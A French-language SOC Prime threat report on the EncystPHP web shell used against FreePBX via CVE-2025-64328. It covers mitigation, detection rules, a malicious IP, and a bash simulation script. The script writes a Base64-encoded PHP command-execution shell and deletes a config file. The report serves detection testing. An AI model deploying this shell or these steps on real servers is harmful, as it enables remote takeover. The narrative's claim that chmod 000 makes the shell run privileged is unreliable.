SOC Prime Bias: Critique

03 Feb 2026 16:33 UTC

EncystPHP : Shell Web FreePBX Armes pour un Compromis Administratif Persistant

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
EncystPHP : Shell Web FreePBX Armes pour un Compromis Administratif Persistant
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

FortiGuard Labs signale une web shell PHP appelée EncystPHP déployée sur des instances FreePBX exposées en exploitant CVE-2025-64328. L’implant permet l’exécution de commandes à distance, fournit des utilisateurs privilégiés et établit une persistance en couches via des tâches cron et des droppers de suivi. L’activité est liée à l’équipe INJ3CTOR3 et semble viser des environnements de télécommunications. Les indicateurs publiés incluent des IP malveillantes, des domaines, des URL et plusieurs chemins de fichiers hostiles.

Investigation

Les enquêteurs ont retracé l’accès initial à une faille d’injection de commande post-authentification dans le FreePBX Endpoint Manager. Après une exploitation réussie, l’opérateur extrait un dropper depuis 45.234.176.202, assouplit les permissions sur les composants PHP clés, extrait les identifiants de la base de données, crée un compte de niveau root et ajoute une clé SSH contrôlée par l’attaquant. La persistance est renforcée par des entrées cron qui récupèrent de nouveaux droppers et rafraîchissent les artefacts. EncystPHP imite également des fichiers FreePBX légitimes et manipule les horodatages pour réduire la visibilité lors d’une analyse de routine.

Atténuation

Patch FreePBX Endpoint Manager pour corriger CVE-2025-64328 (et toute correction liée) dès que possible. Recherchez des fichiers de web shell non autorisés, des plannings cron suspects et de nouveaux utilisateurs locaux privilégiés créés. Bloquez les sorties HTTP vers les infrastructures malveillantes connues et appliquez des permissions strictes et de moindre privilège sur les répertoires web et les assets PHP.

Réponse

En cas de détection, isolez le serveur PBX affecté, retirez les artefacts EncystPHP, purgez les tâches cron non autorisées et réinitialisez les comptes locaux et les clés SSH. Examinez les journaux et les sauvegardes de configuration pour évaluer les changements, puis appliquez les mises à jour de sécurité actuelles et renforcez l’interface web. Validez qu’aucun dropper secondaire ni mécanisme de persistance ne subsiste avant de rétablir les opérations téléphoniques normales.

Flux d’Attaque

Détections

Nouveau Compte Possible pour la Persistance [Linux] (via cmdline)

Équipe SOC Prime
02 février 2026

Fichier Cron a été Créé (via file_event)

Équipe SOC Prime
02 février 2026

Téléchargements dans Dossiers Suspects (via cmdline)

Équipe SOC Prime
02 février 2026

Tentative de Découverte de Hosts Connus de SSH Possible [MacOS] (via cmdline)

Équipe SOC Prime
02 février 2026

Possible Manipulation de Chaînes Encodées en Base64 (via cmdline)

Équipe SOC Prime
02 février 2026

IOC (DestinationIP) à détecter : Dévoilement de la Web Shell Arme EncystPHP Une Web Shell FreePBX Persistante Permettant une Compromission Administrative à Long Terme

Règles AI de SOC Prime
02 février 2026

IOC (HashSha256) à détecter : Dévoilement de la Web Shell Arme EncystPHP Une Web Shell FreePBX Persistante Permettant une Compromission Administrative à Long Terme

Règles AI de SOC Prime
02 février 2026

IOC (SourceIP) à détecter : Dévoilement de la Web Shell Arme EncystPHP Une Web Shell FreePBX Persistante Permettant une Compromission Administrative à Long Terme

Règles AI de SOC Prime
02 février 2026

Détecter les Entrées Crontab pour le Téléchargement Persistant de k.php et c Dropper [Création de Processus Linux]

Règles AI de SOC Prime
02 février 2026

Déploiement et Persistance de la Web Shell EncystPHP via CVE-2025-64328 [Création de Processus Linux]

Règles AI de SOC Prime
02 février 2026

Détection de l’Activité de la Web Shell EncystPHP dans FreePBX [Événement de Fichier Linux]

Règles AI de SOC Prime
02 février 2026

Exécution de Simulation

Prérequis : Le Check Prévol de Télémétrie et de Référence doit avoir été passé.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narratif et Commandes d’Attaque :

    1. Téléchargez la web shell EncystPHP – L’attaquant crée une charge utile PHP encodée en Base64 et la livre via une requête HTTP POST à l’interface web de FreePBX, provoquant l’écriture du fichier ajax.php pour être écrit dans /var/www/html/admin/views/ajax.php.
    2. Définir des permissions restrictives – Juste après le déploiement, l’attaquant exécute chmod 000 ajax.php pour cacher la shell aux utilisateurs normaux et forcer son exécution sous le compte privilégié du serveur web (T1222.002).
    3. Supprimer la configuration critique – Pour altérer la détection et forcer le système à se recharger avec la shell malveillante, l’attaquant supprime /etc/freepbx.conf (T1070.004, T1562.001).
    4. Déclencher la shell – Un simple HTTP GET vers le nouveau ajax.php exécute la charge utile, établissant une shell inversée (T1105, T1059.004).
  • Script de Test de Régression : Le script reproduit les étapes 1-3 dans un répertoire de test contrôlé (/tmp/freepbx_test) pour éviter de perturber un système de production.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Setup test directories (mirroring FreePBX layout) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Create dummy config file (will be deleted) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Base64‑encoded EncystPHP payload (very small stub) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Step 1: Deploy web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell deployed at ${WEB_ROOT}/ajax.php"
    
    # ----- Step 2: Restrictive permission (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permissions set to 000"
    
    # ----- Step 3: Delete critical config file -----
    sudo rm -f "${CONFIG_FILE}"
    echo "Deleted ${CONFIG_FILE}"
    
    # ----- Optional: trigger the shell (simulated) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulation complete. Check SIEM for alerts."
  • Commandes de Nettoyage :

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Test environment cleaned."